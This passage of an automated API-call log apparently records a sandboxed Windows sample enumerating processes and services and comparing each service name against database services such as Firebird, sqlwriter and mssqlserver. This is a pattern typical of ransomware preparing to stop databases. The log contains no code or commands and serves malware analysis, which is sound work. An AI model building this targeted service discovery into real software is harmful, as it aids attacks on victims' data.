th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0135.211] lstrlenW (lpString="taskhostw.exe") returned 13 [0135.211] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0135.212] lstrlenW (lpString="UsoClient.exe") returned 13 [0135.212] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0135.213] lstrlenW (lpString="msoia.exe") returned 9 [0135.213] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0135.213] lstrlenW (lpString="taskhostw.exe") returned 13 [0135.213] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0135.214] lstrlenW (lpString="msoia.exe") returned 9 [0135.214] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0135.215] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0135.215] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0135.215] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0135.215] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0135.216] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0135.216] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0135.217] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0135.217] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0135.218] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0135.218] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0135.218] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0135.218] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0135.219] lstrlenW (lpString="concerned venture.exe") returned 21 [0135.219] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0135.220] lstrlenW (lpString="organizingscsi.exe") returned 18 [0135.220] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0135.220] lstrlenW (lpString="airplane placing.exe") returned 20 [0135.220] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0135.221] lstrlenW (lpString="circus.exe") returned 10 [0135.221] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0135.222] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0135.222] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0135.222] lstrlenW (lpString="das.exe") returned 7 [0135.222] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0135.223] lstrlenW (lpString="beam removable.exe") returned 18 [0135.223] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0135.228] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0135.228] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0135.228] lstrlenW (lpString="dome.exe") returned 8 [0135.229] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0135.229] lstrlenW (lpString="wiresjacket.exe") returned 15 [0135.229] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0135.230] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0135.230] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0135.231] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0135.231] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0135.232] lstrlenW (lpString="tested.exe") returned 10 [0135.232] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0135.233] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0135.233] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0135.235] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0135.235] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0135.238] lstrlenW (lpString="level.exe") returned 9 [0135.238] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0135.239] lstrlenW (lpString="dllhost.exe") returned 11 [0135.239] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0135.239] lstrlenW (lpString="conhost.exe") returned 11 [0135.239] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0135.240] lstrlenW (lpString="conhost.exe") returned 11 [0135.240] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.241] lstrlenW (lpString="svchost.exe") returned 11 [0135.241] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0135.242] lstrlenW (lpString="load0.exe") returned 9 [0135.242] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0135.243] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0135.243] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0135.243] lstrlenW (lpString="conhost.exe") returned 11 [0135.243] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0135.244] lstrlenW (lpString="cmd.exe") returned 7 [0135.244] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0135.245] lstrlenW (lpString="conhost.exe") returned 11 [0135.245] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.246] lstrlenW (lpString="svchost.exe") returned 11 [0135.246] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0135.246] lstrlenW (lpString="mode.com") returned 8 [0135.247] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0135.302] CloseHandle (hObject=0x109c) returned 1 [0135.302] Sleep (dwMilliseconds=0x1f4) [0135.821] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e3348 [0135.821] EnumServicesStatusExW (in: hSCManager=0x5e3348, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0135.822] GetLastError () returned 0xea [0135.822] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1d5a) returned 0x69bb60 [0135.822] EnumServicesStatusExW (in: hSCManager=0x5e3348, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x69bb60, cbBufSize=0x1d5a, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x69bb60, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0135.822] CloseServiceHandle (hSCObject=0x5e3348) returned 1 [0135.823] lstrlenW (lpString="Appinfo") returned 7 [0135.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0135.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0135.823] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0135.823] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0135.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0135.823] lstrlenW (lpString="AppXSvc") returned 7 [0135.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0135.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0135.823] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0135.823] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0135.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0135.823] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0135.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0135.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0135.823] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0135.823] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0135.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0135.824] lstrlenW (lpString="Audiosrv") returned 8 [0135.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0135.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0135.824] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0135.824] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0135.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0135.824] lstrlenW (lpString="BFE") returned 3 [0135.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0135.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0135.824] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0135.824] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0135.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0135.824] lstrlenW (lpString="BITS") returned 4 [0135.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0135.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0135.824] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0135.824] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0135.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0135.824] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0135.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0135.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0135.824] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0135.824] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0135.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0135.824] lstrlenW (lpString="CDPSvc") returned 6 [0135.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0135.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0135.824] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0135.824] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0135.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0135.824] lstrlenW (lpString="ClickToRunSvc") returned 13 [0135.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0135.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0135.824] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0135.824] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0135.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0135.825] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0135.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0135.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0135.825] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0135.825] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0135.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0135.825] lstrlenW (lpString="CryptSvc") returned 8 [0135.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0135.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0135.825] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0135.825] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0135.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0135.825] lstrlenW (lpString="DcomLaunch") returned 10 [0135.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0135.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0135.825] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0135.825] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0135.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0135.825] lstrlenW (lpString="DeviceAssociationService") returned 24 [0135.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0135.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0135.825] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0135.825] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0135.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0135.825] lstrlenW (lpString="Dhcp") returned 4 [0135.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0135.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0135.825] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0135.825] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0135.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0135.825] lstrlenW (lpString="Dnscache") returned 8 [0135.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0135.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0135.825] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0135.825] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0135.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0135.826] lstrlenW (lpString="DoSvc") returned 5 [0135.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0135.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0135.826] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0135.826] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0135.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0135.826] lstrlenW (lpString="DPS") returned 3 [0135.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0135.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0135.826] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0135.826] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0135.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0135.826] lstrlenW (lpString="DusmSvc") returned 7 [0135.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0135.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0135.826] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0135.826] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0135.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0135.826] lstrlenW (lpString="EventLog") returned 8 [0135.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0135.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0135.826] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0135.826] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0135.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0135.826] lstrlenW (lpString="EventSystem") returned 11 [0135.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0135.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0135.826] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0135.826] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0135.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0135.826] lstrlenW (lpString="FontCache") returned 9 [0135.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0135.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0135.826] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0135.826] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0135.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0135.827] lstrlenW (lpString="gpsvc") returned 5 [0135.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0135.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0135.827] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0135.827] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0135.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0135.827] lstrlenW (lpString="iphlpsvc") returned 8 [0135.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0135.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 